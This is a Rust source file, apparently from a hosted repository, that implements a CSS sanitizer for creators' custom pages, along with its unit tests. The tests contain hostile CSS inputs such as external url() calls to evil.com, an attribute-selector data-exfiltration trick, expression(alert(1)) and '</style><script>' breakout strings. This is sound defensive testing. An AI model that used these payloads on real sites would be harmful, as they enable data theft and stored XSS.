Skip to main content

max / makenotwork

38.6 KB · 1016 lines History Blame Raw
1 //! CSS sanitization for custom pages, built on [`lightningcss`].
2 //!
3 //! The job is to take creator CSS and make it safe to inline on a public page
4 //! without it escaping the user canvas or reaching off-platform. The pipeline:
5 //!
6 //! 1. **Parse** the creator's CSS to an AST (nesting enabled, error-recovery on
7 //! so one bad rule doesn't discard the sheet).
8 //! 2. **Visit** it once to: drop at-rules outside the allowlist, validate every
9 //! `url()` (off-platform URLs are neutralized), strip system-slot hiding
10 //! properties on `.mnw-*` selectors, enforce the strobe budget, flag
11 //! `expression()`, and count rules/selectors against the DoS caps.
12 //! 3. **Scope** by partitioning rules into ones that select elements (style,
13 //! `@media`, `@supports`, `@layer` blocks) and ones that are global by nature
14 //! (`@keyframes`, `@font-face`, `@page`, `@layer` statements). The former are
15 //! re-emitted nested inside `.user-canvas#uc-{owner}` and flattened by
16 //! lightningcss, so scoping is done by the engine's own spec-compliant
17 //! nesting resolver rather than fragile string surgery. Selectors that try to
18 //! escape (`html`, `body`, `:root`, `*`) become `.user-canvas html` etc. and
19 //! match nothing outside the canvas.
20 //! 4. **Append** a reduced-motion override as the final rule.
21 //!
22 //! The parse -> print -> wrap -> reparse round-trip is also what makes brace
23 //! injection impossible: a stray `}` in creator input is a parse error, never a
24 //! literal that could close the wrapper early.
25
26 use std::convert::Infallible;
27
28 use lightningcss::declaration::DeclarationBlock;
29 use lightningcss::properties::Property;
30 use lightningcss::properties::custom::Function;
31 use lightningcss::rules::{CssRule, CssRuleList};
32 use lightningcss::selector::{Component, Selector, SelectorList};
33 use lightningcss::stylesheet::{ParserFlags, ParserOptions, PrinterOptions, StyleSheet};
34 use lightningcss::targets::{Features, Targets};
35 use lightningcss::values::url::Url;
36 use lightningcss::visit_types;
37 use lightningcss::visitor::{Visit, VisitTypes, Visitor};
38
39 use super::url_filter::{UrlPolicy, resolve_internal_url};
40 use super::{MAX_RULES, MAX_SELECTORS, Rejection, RejectionKind};
41
42 /// Sanitize creator CSS for a profile or project page, scoping it to
43 /// `.user-canvas#uc-{scope_id}`. See [`scope_and_sanitize`].
44 pub fn sanitize_css(input: &str, scope_id: &str, policy: &UrlPolicy) -> (String, Vec<Rejection>) {
45 scope_and_sanitize(input, "user-canvas", "uc", scope_id, policy)
46 }
47
48 /// Sanitize a project's CSS for one of its item pages, scoping it to
49 /// `.item-canvas#ic-{project_id}`. Item pages have no HTML of their own; they
50 /// wear the parent project's styling re-scoped to the item canvas root.
51 pub fn sanitize_item_css(
52 input: &str,
53 project_id: &str,
54 policy: &UrlPolicy,
55 ) -> (String, Vec<Rejection>) {
56 scope_and_sanitize(input, "item-canvas", "ic", project_id, policy)
57 }
58
59 /// Sanitize creator CSS, scoping it to `.{canvas_class}#{id_prefix}-{scope_id}`.
60 ///
61 /// `scope_id` must be an id-safe token (the owner/project UUID); anything else
62 /// is refused outright. `canvas_class`/`id_prefix` are internal constants.
63 /// Returns the sanitized, scoped stylesheet plus every reference stripped along
64 /// the way. On a fatal parse failure or a complexity-cap breach, returns empty
65 /// CSS and a single explanatory rejection, a page that can't be made safe
66 /// renders as the platform default, never partially.
67 fn scope_and_sanitize(
68 input: &str,
69 canvas_class: &str,
70 id_prefix: &str,
71 scope_id: &str,
72 policy: &UrlPolicy,
73 ) -> (String, Vec<Rejection>) {
74 if input.trim().is_empty() {
75 return (String::new(), Vec::new());
76 }
77
78 if !is_id_safe(scope_id) {
79 return (
80 String::new(),
81 vec![Rejection {
82 kind: RejectionKind::MalformedCss,
83 location: "css".into(),
84 original_value: scope_id.to_string(),
85 reason: "internal: unsafe owner scope".into(),
86 }],
87 );
88 }
89
90 let Ok(mut stylesheet) = StyleSheet::parse(input, parser_options()) else {
91 tracing::warn!(
92 input_len = input.len(),
93 "custom-page CSS rejected: unparseable"
94 );
95 return (
96 String::new(),
97 vec![Rejection {
98 kind: RejectionKind::MalformedCss,
99 location: "css".into(),
100 original_value: String::new(),
101 reason: "CSS could not be parsed".into(),
102 }],
103 );
104 };
105
106 let mut sanitizer = CssSanitizer {
107 policy,
108 rejections: Vec::new(),
109 rule_count: 0,
110 selector_count: 0,
111 };
112 // Our visitor never returns Err.
113 let _: Result<(), Infallible> = stylesheet.visit(&mut sanitizer);
114
115 if sanitizer.rule_count > MAX_RULES || sanitizer.selector_count > MAX_SELECTORS {
116 tracing::warn!(
117 rule_count = sanitizer.rule_count,
118 selector_count = sanitizer.selector_count,
119 "custom-page CSS rejected: exceeds complexity limits (MAX_RULES={MAX_RULES}, MAX_SELECTORS={MAX_SELECTORS})"
120 );
121 return (
122 String::new(),
123 vec![Rejection {
124 kind: RejectionKind::ComplexityLimit,
125 location: "css".into(),
126 original_value: format!(
127 "{} rules, {} selectors",
128 sanitizer.rule_count, sanitizer.selector_count
129 ),
130 reason: format!(
131 "stylesheet too complex (limit {MAX_RULES} rules, {MAX_SELECTORS} selectors)"
132 ),
133 }],
134 );
135 }
136
137 let mut rejections = sanitizer.rejections;
138
139 // Partition surviving rules: element-selecting rules get scoped; rules that
140 // are global by nature stay top-level (they have no document selectors, and
141 // they cannot legally nest inside a style rule anyway).
142 let rules = std::mem::take(&mut stylesheet.rules.0);
143 let mut global = Vec::new();
144 let mut scopable = Vec::new();
145 for rule in rules {
146 match rule {
147 CssRule::Ignored => {}
148 CssRule::Keyframes(_)
149 | CssRule::FontFace(_)
150 | CssRule::Page(_)
151 | CssRule::LayerStatement(_) => global.push(rule),
152 _ => scopable.push(rule),
153 }
154 }
155
156 let scope_selector = format!(".{canvas_class}#{id_prefix}-{scope_id}");
157
158 let global_css = print_rules(global);
159 let scopable_css = print_rules(scopable);
160
161 // Wrap the element-selecting rules in the canvas selector and let
162 // lightningcss flatten the nesting (scoping done by the engine).
163 let flat_scoped = if scopable_css.trim().is_empty() {
164 String::new()
165 } else {
166 let wrapped = format!("{scope_selector} {{\n{scopable_css}\n}}");
167 match StyleSheet::parse(&wrapped, parser_options()) {
168 Ok(sheet) => sheet
169 .to_css(PrinterOptions {
170 targets: Targets {
171 browsers: None,
172 include: Features::Nesting,
173 exclude: Features::empty(),
174 },
175 ..Default::default()
176 })
177 .map(|r| r.code)
178 .unwrap_or_default(),
179 Err(_) => {
180 // Should not happen on already-sanitized input; fail safe.
181 rejections.push(Rejection {
182 kind: RejectionKind::MalformedCss,
183 location: "css".into(),
184 original_value: String::new(),
185 reason: "internal: re-scope failed".into(),
186 });
187 String::new()
188 }
189 }
190 };
191
192 // Reduced-motion override, always last (decision #3). Scoped to the canvas.
193 let reduced_motion = format!(
194 "@media (prefers-reduced-motion: reduce){{{scope_selector},{scope_selector} *{{animation:none!important;transition:none!important}}}}"
195 );
196
197 let mut out = String::new();
198 if !global_css.trim().is_empty() {
199 out.push_str(global_css.trim());
200 out.push('\n');
201 }
202 if !flat_scoped.trim().is_empty() {
203 out.push_str(flat_scoped.trim());
204 out.push('\n');
205 }
206 out.push_str(&reduced_motion);
207
208 (escape_lt_for_style_element(&out), rejections)
209 }
210
211 /// Make the sheet safe to inline raw inside an HTML `<style>` element.
212 ///
213 /// `<style>` is a raw-text element: the HTML tokenizer ends it at the first
214 /// `</style` regardless of CSS syntax, so a creator's `content: "</style>..."`
215 /// would otherwise break out and inject markup. lightningcss faithfully
216 /// preserves the literal `<` inside CSS string tokens, so we escape every `<`
217 /// in the final output to its CSS hex escape `\3c ` (the trailing space
218 /// terminates the hex digits). `<` is not valid CSS syntax outside string/url
219 /// tokens, so this rewrite is lossless where it matters and never produces a
220 /// literal `<` for the HTML parser to act on. `</style>`, `<!--`, and `<script`
221 /// all require a `<`, so neutralizing it closes the whole class.
222 fn escape_lt_for_style_element(css: &str) -> String {
223 if !css.contains('<') {
224 return css.to_string();
225 }
226 css.replace('<', "\\3c ")
227 }
228
229 fn parser_options<'o, 'i>() -> ParserOptions<'o, 'i> {
230 ParserOptions {
231 // Nesting is standard CSS; let creators use it and let us wrap with it.
232 flags: ParserFlags::NESTING,
233 // One malformed rule shouldn't discard the whole sheet.
234 error_recovery: true,
235 ..Default::default()
236 }
237 }
238
239 /// Print a set of rules to CSS (non-minified, no nesting transform).
240 fn print_rules(rules: Vec<CssRule<'_>>) -> String {
241 if rules.is_empty() {
242 return String::new();
243 }
244 let sheet = StyleSheet::new(Vec::new(), CssRuleList(rules), ParserOptions::default());
245 sheet
246 .to_css(PrinterOptions::default())
247 .map(|r| r.code)
248 .unwrap_or_default()
249 }
250
251 /// An id token safe to embed in a CSS id selector: ASCII alphanumerics and `-`.
252 fn is_id_safe(s: &str) -> bool {
253 !s.is_empty() && s.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-')
254 }
255
256 /// The single-pass AST sanitizer.
257 struct CssSanitizer<'p> {
258 policy: &'p UrlPolicy,
259 rejections: Vec<Rejection>,
260 rule_count: usize,
261 selector_count: usize,
262 }
263
264 impl<'i> Visitor<'i> for CssSanitizer<'_> {
265 type Error = Infallible;
266
267 fn visit_types(&self) -> VisitTypes {
268 visit_types!(RULES | URLS | FUNCTIONS)
269 }
270
271 fn visit_rule(&mut self, rule: &mut CssRule<'i>) -> Result<(), Self::Error> {
272 self.rule_count += 1;
273
274 // At-rule allowlist. Anything not explicitly allowed is replaced with
275 // CssRule::Ignored (prints nothing) and recorded. Allowed at-rules fall
276 // through to the recursion below so their contents are still cleaned.
277 let blocked_name: Option<&str> = match rule {
278 CssRule::Import(_) => Some("@import"),
279 CssRule::Namespace(_) => Some("@namespace"),
280 CssRule::MozDocument(_) => Some("@-moz-document"),
281 CssRule::CustomMedia(_) => Some("@custom-media"),
282 CssRule::Property(_) => Some("@property"),
283 CssRule::Viewport(_) => Some("@viewport"),
284 CssRule::CounterStyle(_) => Some("@counter-style"),
285 CssRule::FontPaletteValues(_) => Some("@font-palette-values"),
286 CssRule::FontFeatureValues(_) => Some("@font-feature-values"),
287 CssRule::Container(_) => Some("@container"),
288 CssRule::Scope(_) => Some("@scope"),
289 CssRule::StartingStyle(_) => Some("@starting-style"),
290 CssRule::ViewTransition(_) => Some("@view-transition"),
291 CssRule::Unknown(_) => Some("unknown at-rule"),
292 // Explicitly allowed: plain style rules and the safe grouping/at-rules.
293 // Enumerated with NO wildcard arm (UX-S2, Run 7) so a future
294 // lightningcss upgrade that adds a `CssRule` variant fails to COMPILE
295 // here until it is triaged into allow-or-block, instead of the old
296 // `_ => None` silently emitting an unknown at-rule unfiltered into the
297 // `<style>` block.
298 CssRule::Media(_)
299 | CssRule::Style(_)
300 | CssRule::Keyframes(_)
301 | CssRule::FontFace(_)
302 | CssRule::Page(_)
303 | CssRule::Supports(_)
304 | CssRule::Nesting(_)
305 | CssRule::NestedDeclarations(_)
306 | CssRule::LayerStatement(_)
307 | CssRule::LayerBlock(_)
308 | CssRule::Ignored
309 | CssRule::Custom(_) => None,
310 };
311
312 if let Some(name) = blocked_name {
313 self.rejections.push(Rejection {
314 kind: RejectionKind::BlockedAtRule,
315 location: name.to_string(),
316 original_value: name.to_string(),
317 reason: format!("{name} is not allowed in custom pages"),
318 });
319 *rule = CssRule::Ignored;
320 return Ok(());
321 }
322
323 // Style-rule-specific cleanups, with selector context in hand.
324 if let CssRule::Style(style) = rule {
325 self.selector_count += style.selectors.0.len();
326 if selectors_target_system_slot(&style.selectors) {
327 strip_hiding_properties(&mut style.declarations, &mut self.rejections);
328 }
329 enforce_animation_budget(&mut style.declarations, &mut self.rejections);
330 }
331
332 // Recurse into declarations (url()/expression()) and nested rules.
333 rule.visit_children(self)
334 }
335
336 fn visit_url(&mut self, url: &mut Url<'i>) -> Result<(), Self::Error> {
337 if let Err(rejection) = resolve_internal_url(&url.url, self.policy, "css url()") {
338 self.rejections.push(rejection);
339 // Neutralize: an empty url() resolves to the current document
340 // (same-origin), never the off-platform target.
341 url.url = "".into();
342 }
343 Ok(())
344 }
345
346 fn visit_function(&mut self, function: &mut Function<'i>) -> Result<(), Self::Error> {
347 // expression() is dead in every browser we support, but the sanitizer's
348 // contract is "recorded as blocked => actually removed", so neutralize it
349 // rather than passing the token through: clear its arguments (dropping any
350 // url()/payload inside) and rename it so the output can't contain a
351 // working `expression(...)` (Run 21 security).
352 if function.name.as_ref().eq_ignore_ascii_case("expression") {
353 self.rejections.push(Rejection {
354 kind: RejectionKind::BlockedFunction,
355 location: "css".into(),
356 original_value: "expression()".into(),
357 reason: "the expression() function is not allowed".into(),
358 });
359 function.arguments.0.clear();
360 function.name = lightningcss::values::ident::Ident("mnw-blocked".into());
361 return Ok(());
362 }
363 function.visit_children(self)
364 }
365 }
366
367 /// True if any selector in the list targets a `.mnw-*` system-slot class
368 /// (directly or inside `:is()`/`:where()`/`:not()`/`:has()`).
369 fn selectors_target_system_slot(list: &SelectorList) -> bool {
370 list.0.iter().any(selector_has_system_class)
371 }
372
373 fn selector_has_system_class(selector: &Selector) -> bool {
374 selector
375 .iter_raw_match_order()
376 .any(component_has_system_class)
377 }
378
379 fn component_has_system_class(component: &Component) -> bool {
380 match component {
381 Component::Class(ident) => ident.0.starts_with("mnw-"),
382 Component::Is(list)
383 | Component::Where(list)
384 | Component::Negation(list)
385 | Component::Has(list) => list.iter().any(selector_has_system_class),
386 Component::Any(_, list) => list.iter().any(selector_has_system_class),
387 Component::Host(Some(inner)) => selector_has_system_class(inner),
388 _ => false,
389 }
390 }
391
392 /// Remove declarations that would hide a system slot, preserving the rest of
393 /// the rule. Records one rejection per dropped property.
394 fn strip_hiding_properties(decls: &mut DeclarationBlock, rejections: &mut Vec<Rejection>) {
395 for list in [&mut decls.declarations, &mut decls.important_declarations] {
396 list.retain(|prop| {
397 if is_hiding_property(prop) {
398 rejections.push(Rejection {
399 kind: RejectionKind::HidingProperty,
400 location: ".mnw-* rule".into(),
401 original_value: prop_string(prop),
402 reason: "system slots (.mnw-*) cannot be hidden".into(),
403 });
404 false
405 } else {
406 true
407 }
408 });
409 }
410 }
411
412 /// Whether a property+value combination hides an element. Matched against the
413 /// serialized declaration so we don't have to enumerate every typed variant.
414 fn is_hiding_property(prop: &Property) -> bool {
415 let norm = normalize(&prop_string(prop));
416 if let Some(rest) = norm.strip_prefix("opacity:") {
417 return rest.parse::<f32>().is_ok_and(|v| v < 0.1);
418 }
419 matches!(
420 norm.as_str(),
421 "display:none"
422 | "visibility:hidden"
423 | "visibility:collapse"
424 | "pointer-events:none"
425 | "width:0"
426 | "width:0px"
427 | "height:0"
428 | "height:0px"
429 // UX-M4: 0-sized box via max-* and 0 font-size hide content too.
430 | "max-width:0"
431 | "max-width:0px"
432 | "max-height:0"
433 | "max-height:0px"
434 | "font-size:0"
435 | "font-size:0px"
436 // Legacy clip:rect(0,0,0,0) screen-reader-hide trick.
437 | "clip:rect(0,0,0,0)"
438 | "clip:rect(0px,0px,0px,0px)"
439 ) || (norm.starts_with("transform:") && norm.contains("scale(0)"))
440 // clip-path clipping the element to nothing (UX-M4).
441 || (norm.starts_with("clip-path:")
442 && (norm.contains("inset(100%") || norm.contains("circle(0")))
443 // Off-screen text via large-negative text-indent (UX-M4).
444 || is_offscreen_text_indent(&norm)
445 }
446
447 /// Large-negative `text-indent`, the classic off-screen text-hiding trick
448 /// (`text-indent:-9999px`). Anything ≤ -1000px (or unitless) counts as hiding.
449 fn is_offscreen_text_indent(norm: &str) -> bool {
450 norm.strip_prefix("text-indent:")
451 .map(|rest| rest.strip_suffix("px").unwrap_or(rest))
452 .and_then(|n| n.parse::<f32>().ok())
453 .is_some_and(|v| v <= -1000.0)
454 }
455
456 /// Drop infinite animations faster than 2s (strobe guard, decision #3). The
457 /// reduced-motion override handles accessibility; this caps the worst abuse for
458 /// everyone else.
459 fn enforce_animation_budget(decls: &mut DeclarationBlock, rejections: &mut Vec<Rejection>) {
460 /// A finite iteration-count this high at a sub-2s duration strobes just like
461 /// `infinite` does (UX-M5), `infinite` was the only case caught before.
462 const STROBE_MAX_ITERATIONS: f32 = 20.0;
463
464 let mut has_infinite = false;
465 let mut min_duration: Option<f32> = None;
466 let mut max_iterations: Option<f32> = None;
467
468 for list in [&decls.declarations, &decls.important_declarations] {
469 for prop in list {
470 // Lowercased but whitespace-preserved: duration tokens like `1s`
471 // must stay split from neighbouring keywords.
472 let raw = prop_string(prop).to_ascii_lowercase();
473 if raw.contains("infinite") {
474 has_infinite = true;
475 }
476 if let Some(rest) = raw.strip_prefix("animation-duration:") {
477 update_min_duration(rest, &mut min_duration);
478 } else if let Some(rest) = raw.strip_prefix("animation-iteration-count:") {
479 update_max_iterations(rest, &mut max_iterations);
480 } else if let Some(rest) = raw.strip_prefix("animation:") {
481 update_min_duration(rest, &mut min_duration);
482 update_max_iterations(rest, &mut max_iterations);
483 }
484 }
485 }
486
487 let fast = min_duration.is_some_and(|d| d < 2.0);
488 let high_count = max_iterations.is_some_and(|n| n >= STROBE_MAX_ITERATIONS);
489 let strobe = (has_infinite || high_count) && fast;
490 if !strobe {
491 return;
492 }
493
494 let mut dropped = false;
495 for list in [&mut decls.declarations, &mut decls.important_declarations] {
496 list.retain(|prop| {
497 let norm = normalize(&prop_string(prop));
498 if norm.starts_with("animation") {
499 dropped = true;
500 false
501 } else {
502 true
503 }
504 });
505 }
506 if dropped {
507 rejections.push(Rejection {
508 kind: RejectionKind::AnimationBudget,
509 location: "animation".into(),
510 original_value: "infinite animation under 2s".into(),
511 reason: "fast infinite animations are not allowed (strobe guard)".into(),
512 });
513 }
514 }
515
516 fn update_min_duration(value: &str, min: &mut Option<f32>) {
517 for token in value.split([' ', ',']) {
518 if let Some(secs) = parse_seconds(token) {
519 *min = Some(min.map_or(secs, |m| m.min(secs)));
520 }
521 }
522 }
523
524 /// Track the largest finite iteration-count seen, scanning either the explicit
525 /// `animation-iteration-count` value or the `animation` shorthand (UX-M5). A bare
526 /// unitless number is the count; durations carry `s`/`ms` and percentages `%`, so
527 /// they're skipped. `infinite` is handled separately.
528 fn update_max_iterations(value: &str, max: &mut Option<f32>) {
529 for token in value.split([' ', ',']) {
530 let token = token.trim();
531 if token.is_empty() || token.ends_with('s') || token.ends_with('%') {
532 continue;
533 }
534 if let Ok(n) = token.parse::<f32>() {
535 *max = Some(max.map_or(n, |m| m.max(n)));
536 }
537 }
538 }
539
540 /// Parse a CSS time token to seconds. Returns None for non-time tokens.
541 fn parse_seconds(token: &str) -> Option<f32> {
542 let t = token.trim();
543 if let Some(ms) = t.strip_suffix("ms") {
544 ms.parse::<f32>().ok().map(|v| v / 1000.0)
545 } else if let Some(s) = t.strip_suffix('s') {
546 s.parse::<f32>().ok()
547 } else {
548 None
549 }
550 }
551
552 fn prop_string(prop: &Property) -> String {
553 prop.to_css_string(false, PrinterOptions::default())
554 .unwrap_or_default()
555 }
556
557 /// Lowercase and strip ASCII whitespace, for value matching.
558 fn normalize(s: &str) -> String {
559 s.chars()
560 .filter(|c| !c.is_whitespace())
561 .collect::<String>()
562 .to_ascii_lowercase()
563 }
564
565 #[cfg(test)]
566 mod tests {
567 use super::*;
568
569 const SCOPE: &str = "11111111-1111-1111-1111-111111111111";
570
571 fn policy() -> UrlPolicy {
572 UrlPolicy::new(
573 "https://u.makenot.work/alice/proj",
574 [
575 "makenot.work".to_string(),
576 "u.makenot.work".to_string(),
577 "cdn.makenot.work".to_string(),
578 ],
579 )
580 .unwrap()
581 }
582
583 fn san(css: &str) -> (String, Vec<Rejection>) {
584 sanitize_css(css, SCOPE, &policy())
585 }
586
587 fn scoped(css: &str) -> String {
588 san(css).0
589 }
590
591 #[test]
592 fn empty_input_is_empty() {
593 assert_eq!(san("").0, "");
594 assert_eq!(san(" ").0, "");
595 }
596
597 #[test]
598 fn scopes_plain_selectors() {
599 let out = scoped("p { color: red }");
600 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 p"));
601 }
602
603 #[test]
604 fn neutralizes_body_and_root_escape() {
605 let out = scoped("body { background: blue } :root { color: green }");
606 // Both are confined under the canvas (descendant), matching nothing outside.
607 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body"));
608 assert!(!out.contains("\nbody"));
609 assert!(!out.starts_with("body"));
610 }
611
612 #[test]
613 fn rejects_import() {
614 let (out, rej) = san("@import url(https://evil.com/x.css); p { color: red }");
615 assert!(!out.contains("@import"));
616 assert!(!out.contains("evil.com"));
617 assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule));
618 assert!(out.contains("color"));
619 }
620
621 #[test]
622 fn rejects_namespace_and_moz_document() {
623 let (out, rej) =
624 san("@namespace url(http://x); @-moz-document url-prefix() { p {color:red} }");
625 assert!(!out.to_lowercase().contains("namespace"));
626 assert!(!out.to_lowercase().contains("moz-document"));
627 assert!(
628 rej.iter()
629 .filter(|r| r.kind == RejectionKind::BlockedAtRule)
630 .count()
631 >= 2
632 );
633 }
634
635 #[test]
636 fn allows_media_and_keyframes_and_fontface() {
637 let out = scoped(
638 "@media (min-width: 600px) { .wide { color: red } } \
639 @keyframes spin { from {opacity:0} to {opacity:1} }",
640 );
641 assert!(out.contains("@media"));
642 assert!(out.contains("@keyframes"));
643 // The media rule's inner selector is scoped...
644 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 .wide"));
645 // ...but @keyframes stays global (not nested under the canvas).
646 assert!(out.contains("@keyframes spin"));
647 }
648
649 #[test]
650 fn external_url_in_background_is_neutralized() {
651 let (out, rej) = san(".x { background: url(https://evil.com/y.png) }");
652 assert!(!out.contains("evil.com"));
653 assert!(rej.iter().any(|r| r.kind == RejectionKind::ExternalUrl));
654 }
655
656 #[test]
657 fn internal_and_relative_urls_kept() {
658 let out = scoped(
659 ".a{background:url(/static/p.png)} .b{background:url(https://cdn.makenot.work/x)}",
660 );
661 assert!(out.contains("/static/p.png"));
662 assert!(out.contains("cdn.makenot.work/x"));
663 }
664
665 #[test]
666 fn attribute_selector_exfiltration_blocked() {
667 // The classic CSS data-exfiltration trick: url() must be dropped.
668 let (out, _) = san("input[value^=\"a\"] { background: url(//evil.com/a) }");
669 assert!(!out.contains("evil.com"));
670 }
671
672 #[test]
673 fn mnw_hiding_properties_stripped() {
674 let (out, rej) = san(".mnw-buy { display: none; color: red }");
675 assert!(!normalize(&out).contains("display:none"));
676 assert!(out.contains("color"));
677 assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
678 }
679
680 #[test]
681 fn mnw_hiding_via_has_stripped() {
682 let (_out, rej) = san("*:has(.mnw-files) { opacity: 0 }");
683 assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
684 }
685
686 #[test]
687 fn non_mnw_hiding_is_allowed() {
688 let (out, rej) = san(".myclass { display: none }");
689 assert!(normalize(&out).contains("display:none"));
690 assert!(!rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
691 }
692
693 #[test]
694 fn mnw_widened_hiding_properties_stripped() {
695 // UX-M4: clip-path, font-size:0, and off-screen text-indent are all hides.
696 for decl in [
697 "clip-path: inset(100%)",
698 "font-size: 0",
699 "text-indent: -9999px",
700 "max-height: 0",
701 "clip: rect(0, 0, 0, 0)",
702 ] {
703 let (_out, rej) = san(&format!(".mnw-buy {{ {decl} }}"));
704 assert!(
705 rej.iter().any(|r| r.kind == RejectionKind::HidingProperty),
706 "expected {decl} to be treated as hiding"
707 );
708 }
709 }
710
711 #[test]
712 fn reduced_motion_appended() {
713 let out = scoped("p { color: red }");
714 assert!(out.contains("prefers-reduced-motion"));
715 assert!(out.trim_end().ends_with('}'));
716 }
717
718 #[test]
719 fn fast_infinite_animation_dropped() {
720 let (out, rej) = san(".spin { animation: spin 1s infinite }");
721 assert!(!normalize(&out).contains("animation:spin"));
722 assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
723 }
724
725 #[test]
726 fn slow_infinite_animation_kept() {
727 let (out, rej) = san(".spin { animation: spin 3s infinite }");
728 assert!(out.to_lowercase().contains("animation"));
729 assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
730 }
731
732 #[test]
733 fn fast_high_finite_count_animation_dropped() {
734 // UX-M5: a fast animation with a high *finite* iteration-count strobes too,
735 // not just `infinite`.
736 let (out, rej) = san(".spin { animation: spin 1s linear 100 }");
737 assert!(!normalize(&out).contains("animation:spin"));
738 assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
739
740 // Explicit property form is caught as well.
741 let (_out2, rej2) = san(
742 ".spin { animation-name: spin; animation-duration: 0.5s; animation-iteration-count: 50 }",
743 );
744 assert!(
745 rej2.iter()
746 .any(|r| r.kind == RejectionKind::AnimationBudget)
747 );
748 }
749
750 #[test]
751 fn fast_low_finite_count_animation_kept() {
752 // A handful of iterations at a fast duration is fine, not a strobe.
753 let (out, rej) = san(".spin { animation: spin 1s linear 3 }");
754 assert!(out.to_lowercase().contains("animation"));
755 assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
756 }
757
758 #[test]
759 fn expression_function_recorded() {
760 let (out, rej) = san(".x { width: expression(alert(1)) }");
761 assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedFunction));
762 // Behavior must match the "blocked" contract: the output must not contain
763 // a working expression() call or its payload.
764 let lower = out.to_ascii_lowercase();
765 assert!(
766 !lower.contains("expression("),
767 "expression() must be neutralized in output: {out}"
768 );
769 assert!(
770 !lower.contains("alert(1)"),
771 "expression() payload must be stripped: {out}"
772 );
773 }
774
775 #[test]
776 fn brace_injection_cannot_escape_scope() {
777 // A creator trying to break out of the wrapper: the parse round-trip
778 // makes the stray brace a no-op, so nothing lands unscoped.
779 let out = scoped("color: red } body { background: red");
780 assert!(!out.contains("\nbody {"));
781 assert!(!out.contains("} body{"));
782 }
783
784 #[test]
785 fn platform_chrome_is_unreachable_from_creator_css() {
786 // The guarantee behind `templates/custom/_chrome_style.html`. The header
787 // and footer are siblings of the canvas, not descendants, so a creator
788 // rule that names them is still emitted under the canvas and matches
789 // nothing. This holds by structure, not by specificity or cascade layer,
790 // which is why the chrome block needs no !important and no layer of its
791 // own.
792 const CANVAS: &str = ".user-canvas#uc-11111111-1111-1111-1111-111111111111";
793 for attempt in [
794 ".mnw-chrome { display: none }",
795 ".mnw-chrome { background: red }",
796 ".mnw-chrome-footer a { color: red }",
797 "body .mnw-chrome { background: red }",
798 "html body .mnw-chrome-brand { font-weight: 100 }",
799 "* { background: red }",
800 ":root .mnw-chrome { background: red }",
801 ".mnw-chrome-actions, .mnw-chrome-brand { visibility: hidden }",
802 ] {
803 let out = scoped(attempt);
804 for line in out.lines().filter(|l| l.contains(".mnw-chrome")) {
805 assert!(
806 line.contains(CANVAS),
807 "a chrome selector escaped the canvas: {line}\nfrom: {attempt}"
808 );
809 }
810 // Nothing may be emitted at the top level of the sheet.
811 assert!(
812 !out.trim_start().starts_with(".mnw-chrome"),
813 "unscoped chrome rule from: {attempt}"
814 );
815 }
816 }
817
818 #[test]
819 fn idempotent_on_sanitized_output() {
820 let once =
821 scoped("p{color:red} .mnw-buy{display:none} .x{background:url(https://evil.com/y)}");
822 let twice = scoped(&once);
823 // Scoping a second time nests under the canvas again but must stay safe:
824 // no external host, no display:none on mnw, reduced-motion present.
825 assert!(!twice.contains("evil.com"));
826 assert!(twice.contains("prefers-reduced-motion"));
827 }
828
829 #[test]
830 fn unsafe_scope_refused() {
831 let (out, rej) = sanitize_css("p{color:red}", "evil}injection", &policy());
832 assert_eq!(out, "");
833 assert_eq!(rej.len(), 1);
834 assert_eq!(rej[0].kind, RejectionKind::MalformedCss);
835 }
836
837 /// Minify sanitized output so each rule is `selector{decls}` on no
838 /// whitespace, for invariant checks.
839 fn minify(css: &str) -> String {
840 StyleSheet::parse(css, parser_options())
841 .unwrap()
842 .to_css(PrinterOptions {
843 minify: true,
844 ..Default::default()
845 })
846 .unwrap()
847 .code
848 }
849
850 #[test]
851 fn universal_and_not_selectors_are_scoped() {
852 // Selectors that classically escape a scope must all end up confined to
853 // the canvas: no rule may begin with a bare html/body/* selector.
854 for css in [
855 "* { color: red }",
856 ":not(.x) { color: red }",
857 "html, body { color: red }",
858 ":root { color: red }",
859 ] {
860 let out = minify(&scoped(css));
861 for bad in ["}*{", "}body{", "}html{", "}:root{"] {
862 assert!(!out.contains(bad), "unscoped `{bad}` in: {out}");
863 }
864 for bad in ["^*{", "^body{", "^html{"] {
865 let lead = bad.trim_start_matches('^');
866 assert!(
867 !out.starts_with(lead),
868 "leads with unscoped `{lead}`: {out}"
869 );
870 }
871 assert!(out.contains(".user-canvas#uc-"), "scope missing: {out}");
872 }
873 }
874
875 #[test]
876 fn media_wrapped_escape_is_scoped() {
877 let out = scoped("@media screen { body { background: red } }");
878 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body"));
879 }
880
881 #[test]
882 fn style_tag_breakout_via_content_string_is_neutralized() {
883 // The sanitized output is injected raw into `<style>{{ css|safe }}</style>`
884 // (templates/custom/*.html). The most direct stored-XSS attempt is a
885 // declaration whose value is a string closing the tag and opening a
886 // script. The serializer must never emit a literal `</style>` (or a bare
887 // `<script>`), `<` inside a CSS string token has to come back escaped.
888 for css in [
889 r#".x { content: "</style><script>alert(1)</script>" }"#,
890 r".x::before { content: '</STYLE><SCRIPT>alert(1)</SCRIPT>' }",
891 r#".x { content: "\3c /style\3e <script>" }"#,
892 // url() is dropped (external) but the string form must also be safe.
893 r#".x { background: url("</style><script>x</script>") }"#,
894 ] {
895 let out = scoped(css);
896 let lower = out.to_lowercase();
897 assert!(
898 !lower.contains("</style>"),
899 "literal </style> escaped the block for input `{css}`: {out}"
900 );
901 assert!(
902 !lower.contains("<script>"),
903 "literal <script> escaped the block for input `{css}`: {out}"
904 );
905 }
906 }
907
908 // ── Newer blocked at-rules (the UX-S2 exhaustive-match additions) ──
909 //
